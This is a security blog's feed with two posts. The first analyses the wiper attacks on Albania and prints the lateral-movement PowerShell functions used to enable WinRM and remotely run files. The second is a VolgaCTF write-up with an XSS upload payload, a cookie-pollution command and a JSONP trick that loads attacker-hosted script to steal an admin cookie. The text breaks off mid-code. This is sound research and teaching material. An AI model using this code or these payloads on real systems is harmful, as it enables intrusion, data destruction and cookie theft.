Jekyll2023-12-28T00:40:04+00:00https://0x09al.github.io/feed.xml0x09AL Security blogMy personal blog where I post my security research , tools and ideas.An analysis of the malware used in the recent cyber-attacks targeting Albania2023-12-28T00:00:00+00:002023-12-28T00:00:00+00:00https://0x09al.github.io/albania/apt/state/actor/hacking/cyberattack/homelandjustice/2023/12/28/An-analysis-of-the-malware-used-in-the-recent-attacks-targeting-Albania<h2 id="introduction">Introduction</h2>
<p>On December the 25th, on Christmas day, a hacking group known as HomeLand Justice revealed in their telegram account that they had successfully compromised a well-known telecommunication company and the Albanian Parlament. One of the images showed images of what appeared to be access to VSphere which is a virtualization system.</p>
<p><img src="/images/Pasted image 20231227230322.png" alt="Image from HomeLand Justice showing access to vSphere" /></p>
<p>In another video, HomeLand Justice showed how they were performing a wiping attack which was initiated from an Exchange server which potentially could have been the entry point of the compromise.</p>
<p><img src="/images/Pasted image 20231227230828.png" alt="Image from HomeLand Justice showing access to Exchange-SRV1 as user t0.admin" /></p>
<p>On one of the videos, the attackers were showing the execution of a Powershell script, which appeared to remotely deploy a file named NACL.exe which is believed to be the wiper malware.</p>
<p><img src="/images/Pasted image 20231227224823.png" alt="HomeLand Justice executing p.ps1 PowerShell Script" /></p>
<p>As no samples were made public, ClearSky, a Cyber Security company managed to identify the malware based on the filenames and file content.</p>
<p><img src="/images/Pasted image 20231227231812.png" alt="ClearSky Tweet" /></p>
<p>https://twitter.com/clearskysec/status/1740003566431940983</p>
<p>Both samples that may have been featured in the video were also identified on VirusTotal. The files were retrieved from VirusTotal, and the entire analysis is grounded in the examination of these two files.</p>
<p>https://www.virustotal.com/gui/file/36cc72c55f572fe02836f25516d18fed1de768e7f29af7bdf469b52a3fe2531f
https://www.virustotal.com/gui/file/c8b72d6416df83ee44134c779f70125cf1713d8797b0128ef591a7fe15674ac8</p>
<h2 id="pps1---analysis">p.ps1 - Analysis</h2>
<p>The PowerShell script shown in the video is named “p.ps1” and is pretty easy to reverse engineer as there is no obfuscation, it has comments and uses common documented functionality such as WMI and WinRM.</p>
<p>The script has several function but the most interesting ones are outlined below:</p>
<ul>
<li>TestConnection - this is a wrapper function against Test-Connection function on Powershell.</li>
<li>TestWSManEnabled - another wrapper function for the Test-WSMan function on Powershell</li>
<li>TryToEnableWinRM
This function accepts three parameters: the remote computer, username, and password. It then creates a PSCredential object with the specified credentials, and uses the Invoke-WmiMethod function to execute a command on the remote computer.</li>
</ul>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">function</span><span class="w"> </span><span class="nf">TryToEnableWinRM</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="kr">param</span><span class="p">(</span><span class="nv">$computerName</span><span class="p">,</span><span class="w"> </span><span class="nv">$Password</span><span class="p">,</span><span class="w"> </span><span class="nv">$UserName</span><span class="p">)</span><span class="w">
</span><span class="nv">$SecurePassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="nv">$Password</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="nv">$Credentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Management.Automation.PSCredential</span><span class="w"> </span><span class="p">(</span><span class="nv">$Username</span><span class="p">,</span><span class="w"> </span><span class="nv">$SecurePassword</span><span class="p">)</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="w"> </span><span class="nt">-ErrorVariable</span><span class="w"> </span><span class="nx">Crederror</span><span class="w">
</span><span class="nv">$result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Invoke-WmiMethod</span><span class="w"> </span><span class="nt">-Class</span><span class="w"> </span><span class="nx">Win32_Process</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">Create</span><span class="w"> </span><span class="nt">-ArgumentList</span><span class="w"> </span><span class="s2">"powershell.exe Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\services\WinRM' -Name 'Start' -Value 2; Start-Service WinRM; Enable-Psremoting -SkipNetworkProfileCheck -force"</span><span class="w"> </span><span class="nt">-ComputerName</span><span class="w"> </span><span class="nv">$computerName</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="w"> </span><span class="nt">-Credential</span><span class="w"> </span><span class="nv">$Credentials</span><span class="w">
</span><span class="kr">if</span><span class="p">(</span><span class="nv">$result</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="kr">return</span><span class="w"> </span><span class="bp">$true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">else</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="kr">return</span><span class="w"> </span><span class="bp">$false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>The Invoke-WMI function will connect to the remote computer and using the Win32_Process class will execute the following commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>powershell.exe Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\services\WinRM' -Name 'Start' -Value 2; Start-Service WinRM; Enable-Psremoting -SkipNetworkProfileCheck -force
</code></pre></div></div>
<p>The first command will set a registry key to configure the WinRM service to start automatically when the system boots. It will then start the WinRM service on the system and by using the Enable-Psremoting command, enables Powershell remoting.</p>
<ul>
<li>CreateSession
This function is responsible for setting up the connections to the remote computers using Powershell Remoting. If successful, it will return the session which is than later used to upload and execute executables.</li>
</ul>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$Username</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="nv">$Password</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nv">$SecurePassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="nv">$Password</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="nv">$Credentials</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Management.Automation.PSCredential</span><span class="w"> </span><span class="p">(</span><span class="nv">$Username</span><span class="p">,</span><span class="w"> </span><span class="nv">$SecurePassword</span><span class="p">)</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="n">SilentlyContinue</span><span class="w"> </span><span class="nt">-ErrorVariable</span><span class="w"> </span><span class="nx">Crederror</span><span class="w">
</span><span class="kr">if</span><span class="p">(</span><span class="nv">$Crederror</span><span class="o">.</span><span class="nf">length</span><span class="w"> </span><span class="o">-gt</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="n">Add-Content</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$</span><span class="nn">env</span><span class="p">:</span><span class="nv">Temp</span><span class="nx">\</span><span class="nv">$machine</span><span class="o">.</span><span class="nf">txt</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="s2">"[UnSuccess][</span><span class="nv">$machine</span><span class="s2">]:: [Error(CreateSession)] : </span><span class="nv">$Crederror</span><span class="s2">"</span><span class="w">
</span><span class="kr">return</span><span class="w"> </span><span class="bp">$false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="nv">$Session</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-PSSession</span><span class="w"> </span><span class="nt">-ComputerName</span><span class="w"> </span><span class="nv">$Remotecomputer</span><span class="w"> </span><span class="nt">-Credential</span><span class="w"> </span><span class="nv">$Credentials</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="w"> </span><span class="nt">-ErrorVariable</span><span class="w"> </span><span class="nx">e</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">else</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nv">$Session</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-PSSession</span><span class="w"> </span><span class="nt">-ComputerName</span><span class="w"> </span><span class="nv">$Remotecomputer</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="w"> </span><span class="nt">-ErrorVariable</span><span class="w"> </span><span class="nx">e</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<ul>
<li>ActionOnOpenMachine
This function is one of the most important ones as is the one responsible for uploading the malicious files and executing them.</li>
</ul>
<p>To copy files, it uses the Copy-Item function</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Copy-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nv">$SourcePath</span><span class="w"> </span><span class="nt">-Destination</span><span class="w"> </span><span class="nv">$DestPath</span><span class="w"> </span><span class="nt">-ToSession</span><span class="w"> </span><span class="nv">$Session</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span></code></pre></div></div>
<p>After copying the item successfully, it will use the Invoke-Command function to execute the uploaded file.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Invoke-Command</span><span class="w"> </span><span class="nt">-Session</span><span class="w"> </span><span class="nv">$Session</span><span class="w"> </span><span class="nt">-ScriptBlock</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Start-Process</span><span class="w"> </span><span class="nv">$</span><span class="nn">using</span><span class="p">:</span><span class="nv">DestPath</span><span class="w"> </span><span class="nt">-ArgumentList</span><span class="w"> </span><span class="nv">$</span><span class="nn">using</span><span class="p">:</span><span class="nv">ExecutableArgs</span><span class="w"> </span><span class="nt">-NoNewWindow</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>To conclude, the Powershell script will read a target list that is specified by the operator and perform the following actions:</p>
<ul>
<li>Will check if machine is online</li>
<li>Will check if WinRM is enabled, if not, it will enable it</li>
<li>Creates a PowerShell remoting session</li>
<li>Copies the specified file on the remote machine and execute it if <code class="language-plaintext highlighter-rouge">run</code> is specified as an argument</li>
</ul>
<h2 id="naclexe-analysis">NACL.exe Analysis</h2>
<p>The video showed HomeLand Justice group deploying a binary NACL.exe through the previously analyzed script. On the video, the file was named NACL.exe, but the original filename that it was compiled is Ptable.exe</p>
<p><img src="/images/Pasted image 20231227215444.png" alt="PE file information" /></p>
<p>What was interesting in this case is that the binary was signed with a valid Code-Signing certificate as can be seen from the following image:</p>
<p><img src="/images/Pasted image 20231227215407.png" alt="NACL.exe Signing Information" /></p>
<p>It is highly likely that the attackers either stole the code-signing certificates or bought them using fake companies.</p>
<p>Loading the NACL.exe binary in a disassembler, the binary was pretty small and mainly contained standard libraries functions.
All the malicious code was located on address 0x00401010</p>
<p><img src="/images/Pasted image 20231227210402.png" alt="Main function disassembly" /></p>
<p>Firstly the code defines some variables and function pointers. It loads the kernel32.dll library using LoadLibraryW. After that, it uses GetProcAddress to find the addresses of several function and load them to the function pointers that were defined earlier.
It will then use a function that calls <code class="language-plaintext highlighter-rouge">___stdio_common_vswprintf_p</code> and construct the following string <code class="language-plaintext highlighter-rouge">\\.\c:</code>. The malware will then call the CreateFileW function to open a handle to that path and store it on the v5 variable.
And finally it will check if the handle is invalid, if not, it will call DeviceIoControl with the previously opened handle and the flag 0x7c100. The flag 0x7c100 stands for IOCTL_DISK_DELETE_DRIVE_LAYOUT which is used to delete the partition table and drive layout information on a disk.</p>
<h2 id="conclusions-and-recommendations">Conclusions and Recommendations</h2>
<p>While these attacks can be highly destructive, they are entirely preventable. Ensuring that externally exposed systems are updated in a timely manner and maintaining a robust security posture can significantly thwart attackers. It is crucial to disable any unused services, implement proper privilege separation, and leverage effective security solutions to proactively detect and prevent potential attacks.</p>
<h3 id="references">References</h3>
<p>https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/
https://www.virustotal.com/gui/file/36cc72c55f572fe02836f25516d18fed1de768e7f29af7bdf469b52a3fe2531f/details
https://x.com/clearskysec/status/1740003566431940983?s=48&t=NMUlnWhWEekWk7W7mjpYBg</p>IntroductionVolgaCTF Qualifiers - UserCenter Web Challenge2020-03-29T00:00:00+00:002020-03-29T00:00:00+00:00https://0x09al.github.io/ctf/web/challenge/xss/jquery/2020/03/29/volgactf-web-challenge<p>During the weekend, I wanted to spend some time brushing up my web appsec skills and decided it would be a good idea to try some CTF challenges. One of the interesting CTFs that was running this weekend was VolgaCTF so I decided to give it a go.</p>
<p>There were several interesting challenges but my favourite was <code class="language-plaintext highlighter-rouge">UserCenter</code>. The description of it was <code class="language-plaintext highlighter-rouge">Steal admin's cookie</code> giving a clue that the type of vulnerability may be an XSS.</p>
<p>Getting familiar with the portal, there were 2 main functionalities that could be abused to trigger an XSS:</p>
<ol>
<li>Report Bug - Allowed to send specific URLs to the administrator. (May be useful for XSS that require user interaction)</li>
<li>Edit Profile - Allows to edit the Bio and Avatar. (Good target for XSS)</li>
</ol>
<p>The request that was updating the profile contained the base64 encoded content and the MIME type of the uploaded file:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/user-update</span><span class="w"> </span><span class="err">HTTP/</span><span class="mf">1.1</span><span class="w">
</span><span class="err">Host:</span><span class="w"> </span><span class="err">api.volgactf-task.ru</span><span class="w">
</span><span class="err">User-Agent:</span><span class="w"> </span><span class="err">Mozilla/</span><span class="mf">5.0</span><span class="w"> </span><span class="err">()</span><span class="w"> </span><span class="err">Gecko/</span><span class="mi">20100101</span><span class="w"> </span><span class="err">Firefox/</span><span class="mf">74.0</span><span class="w">
</span><span class="err">Accept:</span><span class="w"> </span><span class="err">application/json,</span><span class="w"> </span><span class="err">text/javascript,</span><span class="w"> </span><span class="err">*/*;</span><span class="w"> </span><span class="err">q=</span><span class="mf">0.01</span><span class="w">
</span><span class="err">Accept-Language:</span><span class="w"> </span><span class="err">en-GB,en;q=</span><span class="mf">0.5</span><span class="w">
</span><span class="err">Accept-Encoding:</span><span class="w"> </span><span class="err">gzip,</span><span class="w"> </span><span class="err">deflate</span><span class="w">
</span><span class="err">Content-Type:</span><span class="w"> </span><span class="err">application/json</span><span class="w">
</span><span class="err">Content-Length:</span><span class="w"> </span><span class="mi">809</span><span class="w">
</span><span class="err">Origin:</span><span class="w"> </span><span class="err">https://volgactf-task.ru</span><span class="w">
</span><span class="err">Connection:</span><span class="w"> </span><span class="err">close</span><span class="w">
</span><span class="err">Referer:</span><span class="w"> </span><span class="err">https://volgactf-task.ru/editprofile.html</span><span class="w">
</span><span class="err">Cookie:</span><span class="w"> </span><span class="err">PHPSESSID=</span><span class="p">[</span><span class="err">SNIPPED</span><span class="p">]</span><span class="w">
</span><span class="p">{</span><span class="nl">"avatar"</span><span class="p">:</span><span class="s2">"QUFBQQ=="</span><span class="p">,</span><span class="nl">"type"</span><span class="p">:</span><span class="s2">"text/plain"</span><span class="p">,</span><span class="nl">"bio"</span><span class="p">:</span><span class="s2">"No BIO"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>If the edit was successful, the file was uploaded to the <code class="language-plaintext highlighter-rouge">static</code> subdomain.
The plan was to upload a file that could allow me to trigger the XSS like a HTML file but it wasn’t as straight forward.</p>
<h2 id="triggering-the-xss">Triggering the XSS</h2>
<p>Trying to upload a html file the request failed with the <code class="language-plaintext highlighter-rouge">Forbidden MIME type</code> error. Since the html file was blocked,
I tried uploading an SVG (Scalable Vector Graphics) file to trigger the XSS.
This failed as well since any content type containing xml/html was getting blocked.</p>
<p>After doing more research on possible content types I could abuse, I decided to try <code class="language-plaintext highlighter-rouge">*/*</code> and see what would happen.</p>
<p>The file was successfully uploaded as was indicated by the response below:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST</span><span class="w"> </span><span class="err">/user-update</span><span class="w"> </span><span class="err">HTTP/</span><span class="mf">1.1</span><span class="w">
</span><span class="err">Host:</span><span class="w"> </span><span class="err">api.volgactf-task.ru</span><span class="w">
</span><span class="err">Accept:</span><span class="w"> </span><span class="err">application/json,</span><span class="w"> </span><span class="err">text/javascript,</span><span class="w"> </span><span class="err">*/*;</span><span class="w"> </span><span class="err">q=</span><span class="mf">0.01</span><span class="w">
</span><span class="err">Accept-Language:</span><span class="w"> </span><span class="err">en-GB,en;q=</span><span class="mf">0.5</span><span class="w">
</span><span class="err">Accept-Encoding:</span><span class="w"> </span><span class="err">gzip,</span><span class="w"> </span><span class="err">deflate</span><span class="w">
</span><span class="err">Content-Type:</span><span class="w"> </span><span class="err">application/json</span><span class="w">
</span><span class="err">Content-Length:</span><span class="w"> </span><span class="mi">93</span><span class="w">
</span><span class="err">Origin:</span><span class="w"> </span><span class="err">https://volgactf-task.ru</span><span class="w">
</span><span class="err">Connection:</span><span class="w"> </span><span class="err">close</span><span class="w">
</span><span class="err">Referer:</span><span class="w"> </span><span class="err">https://volgactf-task.ru/editprofile.html</span><span class="w">
</span><span class="p">{</span><span class="nl">"avatar"</span><span class="p">:</span><span class="s2">"PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"</span><span class="p">,</span><span class="nl">"type"</span><span class="p">:</span><span class="s2">"*/*"</span><span class="p">,</span><span class="nl">"bio"</span><span class="p">:</span><span class="s2">"No Bio"</span><span class="p">}</span><span class="w">
</span><span class="err">HTTP/</span><span class="mf">1.1</span><span class="w"> </span><span class="mi">200</span><span class="w"> </span><span class="err">OK</span><span class="w">
</span><span class="err">Server:</span><span class="w"> </span><span class="err">nginx/</span><span class="mf">1.16</span><span class="err">.</span><span class="mi">1</span><span class="w"> </span><span class="err">(Ubuntu)</span><span class="w">
</span><span class="err">Date:</span><span class="w"> </span><span class="err">Sun,</span><span class="w"> </span><span class="mi">29</span><span class="w"> </span><span class="err">Mar</span><span class="w"> </span><span class="mi">2020</span><span class="w"> </span><span class="mi">18</span><span class="err">:</span><span class="mi">45</span><span class="err">:</span><span class="mi">19</span><span class="w"> </span><span class="err">GMT</span><span class="w">
</span><span class="err">Content-Type:</span><span class="w"> </span><span class="err">application/json</span><span class="w">
</span><span class="err">Connection:</span><span class="w"> </span><span class="err">close</span><span class="w">
</span><span class="err">Expires:</span><span class="w"> </span><span class="err">Thu,</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="err">Nov</span><span class="w"> </span><span class="mi">1981</span><span class="w"> </span><span class="mi">08</span><span class="err">:</span><span class="mi">52</span><span class="err">:</span><span class="mi">00</span><span class="w"> </span><span class="err">GMT</span><span class="w">
</span><span class="err">Cache-Control:</span><span class="w"> </span><span class="err">no-store,</span><span class="w"> </span><span class="err">no-cache,</span><span class="w"> </span><span class="err">must-revalidate</span><span class="w">
</span><span class="err">Pragma:</span><span class="w"> </span><span class="err">no-cache</span><span class="w">
</span><span class="err">Access-Control-Allow-Credentials:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="err">Access-Control-Allow-Origin:</span><span class="w"> </span><span class="err">https://volgactf-task.ru</span><span class="w">
</span><span class="err">Content-Length:</span><span class="w"> </span><span class="mi">16</span><span class="w">
</span><span class="p">{</span><span class="nl">"success"</span><span class="p">:</span><span class="kc">true</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Even though the file was uploaded successfully, it was still unknow how Firefox would parse this file type.</p>
<p>To my suprise, Firefox parsed it as a HTML even that the <code class="language-plaintext highlighter-rouge">X-Content-Type-Options</code> header was set to nosniff allowing the execution of arbritary javascript on the <code class="language-plaintext highlighter-rouge">static.volgactf-task.ru</code> .</p>
<p><img src="/images/volgactf-xss.png" alt="" /></p>
<h2 id="cross-domain-cookie-pollution">Cross-Domain Cookie Pollution</h2>
<p>At this point, I decided to build a cookie stealing payload and send it to the admin using the report bug feature. I wasn’t expecting it to work as it was too simple to be true.</p>
<p>I received the request, indicating the XSS was triggered but there was no cookie. At that point I assumed that the cookie was not on the <code class="language-plaintext highlighter-rouge">static.volgactf-task.ru</code> but on the main domain.</p>
<p>With this information, I decided to poke around the web application more and see if the thing we achieved could be useful in abusing or finding any other vulnerability.</p>
<p>On <code class="language-plaintext highlighter-rouge">main.js</code> the following part of code was really interesting:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">$</span><span class="p">(</span><span class="nb">document</span><span class="p">).</span><span class="nx">ready</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">api</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">api</span><span class="dl">'</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="nx">Cookies</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">api_server</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
<span class="nx">api</span> <span class="o">=</span> <span class="nx">replaceForbiden</span><span class="p">(</span><span class="nx">Cookies</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">api_server</span><span class="dl">'</span><span class="p">));</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">Cookies</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="dl">'</span><span class="s1">api_server</span><span class="dl">'</span><span class="p">,</span> <span class="nx">api</span><span class="p">,</span> <span class="p">{</span><span class="na">secure</span><span class="p">:</span> <span class="kc">true</span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When the web page was loaded, it was getting the <code class="language-plaintext highlighter-rouge">api_server</code> cookie value which by default was <code class="language-plaintext highlighter-rouge">api</code>. This cookie was pretty important as it defined the subdomain hostname where most of the requests get sent.
For example, the user details our downloaded from the API:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">$</span><span class="p">.</span><span class="nx">getJSON</span><span class="p">(</span><span class="s2">`//</span><span class="p">${</span><span class="nx">api</span><span class="p">}</span><span class="s2">.volgactf-task.ru/user`</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">data</span><span class="p">.</span><span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">/login.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">profile</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">user</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Having control over the api variable (initialized by the api_server cookie) means that we can trick to send the requests on one of our controlled hosts. To bypass the subdomain restriction, you could specify the following value on the api_server cookie : <code class="language-plaintext highlighter-rouge">test.com/</code>
When used on the code, it would turn to <code class="language-plaintext highlighter-rouge">//test.com/.volgactf-task.ru/user</code>, sending the requests to our test.com server.</p>
<h3 id="bypassing-the-filter">Bypassing the Filter</h3>
<p>If you paid attention to the code snippet that was setting the api_server cookie, it passed the value through the <code class="language-plaintext highlighter-rouge">replaceForbiden</code> function. This function would remove all the characters that could be used to break out of the subdomain restriction mentioned earlier.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">replaceForbiden</span><span class="p">(</span><span class="nx">str</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nx">str</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[</span><span class="sr"> !"#$%&Вґ()*+,</span><span class="se">\-\/</span><span class="sr">:;<=>?@</span><span class="se">\[\\\]</span><span class="sr">^_`{|}~</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span><span class="dl">''</span><span class="p">).</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">[^\x</span><span class="sr">00-</span><span class="se">\x</span><span class="sr">7F</span><span class="se">]</span><span class="sr">/g</span><span class="p">,</span> <span class="dl">'</span><span class="s1">?</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This filter could be bypassed easily by providing the following value: <code class="language-plaintext highlighter-rouge">"test.com\x8F"</code> .
The last part of the filter would replace any character that wasn’t on the [^\x00-\x7F] range with a ?.
When passing the above value, the URL would become <code class="language-plaintext highlighter-rouge">test.com?.volgactf-task.ru/user</code> giving us full control over the hostname the requests are sent.</p>
<h3 id="doing-the-cookie-pollution">Doing the Cookie Pollution</h3>
<p>Since I already had javascript execution on a subdomain, I could create a new cookie and define my own API server.
The domain attribute of this cookie would be <code class="language-plaintext highlighter-rouge">.volgactf-task.ru</code> meaning that it would be set for all the subdomains including the main domain.
To demonstrate if this was possible I executed the following command from the <code class="language-plaintext highlighter-rouge">static.volgactf-task.ru</code> domain context:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">api_server=test.com</span><span class="se">\</span><span class="s2">x8F; session=True; path=/profile.html ;domain=volgactf-task.ru; hostOnly=True</span><span class="dl">"</span><span class="p">;</span>
</code></pre></div></div>
<p>Running <code class="language-plaintext highlighter-rouge">Cookies.get("api_server")</code> on the main domain confirms the cookie was polluted and the API domain contains our own host:</p>
<p><img src="/images/volgactf-polluted.png" alt="" /></p>
<h2 id="jquery-and-jsonp">JQuery and JSONP</h2>
<p>Having control of so parts of the application but no straight way to turn this on an XSS. I tried several things that failed which I’m not going to describe here as this blogpost is long enough. After considerable time poking around and failing, I decided to research for any functions I could abuse to turn the data returned from the api on an XSS.</p>
<p>I discovered the following issue on Github:</p>
<p><img src="/images/volgactf-issue.png" alt="" /></p>
<p>The issue described that if you have control over the URL passed to JQuery getJson function, you could trick it in executing arbritary javascript. This function was heavily used on the application and I had control over the URL since we polluted the api_server cookie.</p>
<p>To verify the theory, I hosted the following js file : <code class="language-plaintext highlighter-rouge">({"pwn":""+alert(document.domain)});</code> and called getJson by specifying jsoncallback=? in the URL.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">$</span><span class="p">.</span><span class="nx">getJSON</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://example.com/test.js?jsoncallback=?</span><span class="dl">"</span><span class="p">,</span><span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">)})</span>
</code></pre></div></div>
<p>XSS was triggered successfully.</p>
<p>With this information, the attack to steal the administrator cookie was as following:</p>
<ol>
<li>Upload XSS payload on static.volgactf-task.ru.</li>
<li>Hijack the api_server cookie.</li>
<li>Trigger a call to getJson and respond with cookie stealing javascript code.</li>
</ol>
<p>Another problem was that I had partial control on the URL because of the filtering in place. To trigger the XSS I had to specify the jsoncallback parameter, which at the current situation wasn’t possible.
I decided to further investigate the code and see if there was any place where I could control the END of the URL and I discovered the following code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getUser</span><span class="p">(</span><span class="nx">guid</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nx">guid</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">getJSON</span><span class="p">(</span><span class="s2">`//</span><span class="p">${</span><span class="nx">api</span><span class="p">}</span><span class="s2">.volgactf-task.ru/user?guid=</span><span class="p">${</span><span class="nx">guid</span><span class="p">}</span><span class="s2">`</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">data</span><span class="p">.</span><span class="nx">success</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">location</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">/profile.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">profile</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">user</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The guid variable was initialized on page load from a GET parameter passed on the URL:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">params</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">search</span><span class="p">);</span>
<span class="k">if</span><span class="p">([</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">/index.html</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">/profile.html</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">/report.php</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">/editprofile.html</span><span class="dl">'</span><span class="p">].</span><span class="nx">includes</span><span class="p">(</span><span class="nx">location</span><span class="p">.</span><span class="nx">pathname</span><span class="p">))</span> <span class="p">{</span>
